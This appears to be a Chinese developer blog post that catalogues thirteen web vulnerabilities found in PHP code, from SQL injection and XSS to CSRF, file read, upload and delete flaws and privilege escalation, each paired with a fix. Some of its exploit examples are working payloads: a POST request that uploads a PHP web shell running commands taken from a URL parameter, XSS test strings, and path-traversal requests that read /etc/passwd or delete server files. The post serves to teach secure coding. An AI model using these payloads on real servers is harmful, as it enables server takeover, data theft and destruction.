网络安全:漏洞类型和解决方案

网络安全一直是热门话题,当我们写代码时往往要注意,整理漏洞如下:

一. SQL注入

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。

下图某个前辈大仙在前端页面拼接SQL参数传到后台,导致参数urlstr存在SQL注入风险。

	  $array_1   = explode("*",$HTTP_POST_VARS['urlstr']);
      for ($i=0; $i<count($array_1); $i++) {
          $array_2 = explode("=>", $array_1[$i]);
          $key = trim($array_2[0]);
          $inputpara[$key] = $array_2[1];
      }

参数urlstr存在SQL注入风险,可成功获取数据库信息
因为涉及界面太多,最终我采用增加令牌的方式处理。

主要处理机制:
(1)使用静态占位符(参数化);
(2)使用完成必要任务所需的最低特权来运行代码;
(3)不显示详细的错误信息。
辅助处理机制:
(1)参数为整形,可以验证数据类型
(2)强制过滤字符
a)’(单引号)
b)"(引号)
c)’(反斜线转义单引号)
d)"(反斜杠转义引号)
e))(结束括号)
f);(分号)

二. 反射型跨站脚本攻击

攻击者可以构造 javacript 脚本,实现对访问者键盘记录,盗取 Cookie 和恶意网站跳转等攻击。

如下图用git传参,在浏览器输入 "><svg οnlοad=alert(document.domain),出现弹窗
在这里插入图片描述
PHP可以用changeHtmlSpecialChar转义特殊字符

主要处理机制:
(1)对用户输入的特殊字符进行转义,重点处理以下特殊字符: "/<>

三. 存储型跨站脚本攻击

如下图,当输入框填 >“< svg οnlοad=alert(/jichenghan/)>,出现弹窗
在这里插入图片描述
在这里插入图片描述
主要处理机制:
(1)检查变量是否正确初始化并明确变量类型
(2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
(3)不要仅仅在客户端对数据做HTML标签转义以及过滤单引号,双引号等危险字符,关键的过滤步骤也应该在服务端进行。
(4)对输出到页面的数据也要做安全检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。

四. CSRF攻击

跨站请求伪造,使用管理员访问链接,即可删除ID为8898的企业信息。
在这里插入图片描述
主要处理机制: 添加token,只能使用一次,使用后失效。

五. 命令执行

ApacheSolr服务器的远程代码执行漏洞,可获取服务器权限。

由于Velocity模板存在注入所致。攻击者在知道Solr服务器上Core名称后,先把params.resource.loader.enabled设置为true(就可加载指定资源),再进行远程执行命令;
在这里插入图片描述

主要处理机制:
(1)设置IP白名单,确保网络设置只允许可信的流量与Solr进行通信。
(2)更新官方相关漏洞的安全补丁

六. 任意文件读取

浏览Web服务器中的敏感文件(服务及系统配置等)。

程序源码泄露,代码审计导致利用更多漏洞。
参数file存在任意文件读取漏洞,可成功获取服务器上的敏感文件,如在登录状态下POST数据file=../../../etc/password,可将头像路径设置成读取的文件
主要处理机制:
(1)需读取文件数量较少时,可使用白名单验证。
(2)对需读取文件使用统一命名格式,如md5,使用正则匹配固定文件名格式。
(3)对需读取文件路径入库,通过查询id获取路径形式操作。
(4)禁止用户输入文件名及文件路径。
(5)过滤用户输入:…/ 字符

七. 任意文件上传

	$FileContent = stripslashes($params['FileContent']);
	if($pf = fopen($FileName, "w"))
	{
		if(!fwrite($pf, $FileContent))
		{
			$failMsg = "写入日志文件:".$FileName." 失败!";
			return false;
		}
		fclose($pf);
	}

post数据:


actionNext=pageUpdate&SrvID=1&SrvType=1&FileName=/www/htdocs/input/1.php&FileContent=<html></html><?php $descriptorspec = array(

   0 => array("pipe", "r"),

   1 => array("pipe", "w"),

);

$process = proc_open($_GET["51secteam"], $descriptorspec, $pipes, null, null);

if (is_resource($process)) {

    echo stream_get_contents($pipes[1]);

    fclose($pipes[1]);

    $return_value = proc_close($process);

    echo "command returned $return_value\n";

}?>&Operator=admin&DBID=1

发送请求后在input目录下生成木马文件1.php。

主要处理机制: 同上

八. 任意文件删除

		function delevidenceImg($params,&$failMsg){
			$path = "/evidence/".ceil($ID/1000000)."/".ceil($ID/1000)."/".$ID."/".$IMGNAME;
			if(unlink($path))
			{
				//...
			}

post数据:

imgname=../../../var/www/htdocs/input/1.txt&id=../&reportdate=../

修改imgname为要删除的文件路径,即可成功删除服务器上文件。

主要处理机制: 同上

九. 水平越权

如下图使用git方式传参,遍历campid,即可越权查看其他数据
在这里插入图片描述
主要处理机制: 在执行功能前先对用户的权限进行校验

十. 垂直越权

低权限用户可以使用某些高权限用户才能使用的功能,甚至可以结合其他漏洞接管管理员账号,获得最高权限
以低权限用户身份构造数据包,来修改高权限的信息
主要处理机制: 同上

十一. 功能缺陷

图形验证码复用缺陷,可批量验证,存在撞库风险

十二. 弱口令

登陆的时候填好账号密码,抓包的时候把账号密码清空掉,利用空的账号密码,即可登陆
在这里插入图片描述
主要处理机制: 在服务器端判断账号密码是否为空

十三. URL跳转

在代码里用header跳转本地路径,但URL暴露在界面上,可被篡改为其他站点链接。
在这里插入图片描述

  header("location: {$_POST['filepath']}");
  exit();

主要处理机制: 使用白名单校验跳转的域名,也可在服务器端代码中直接拼接域名

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值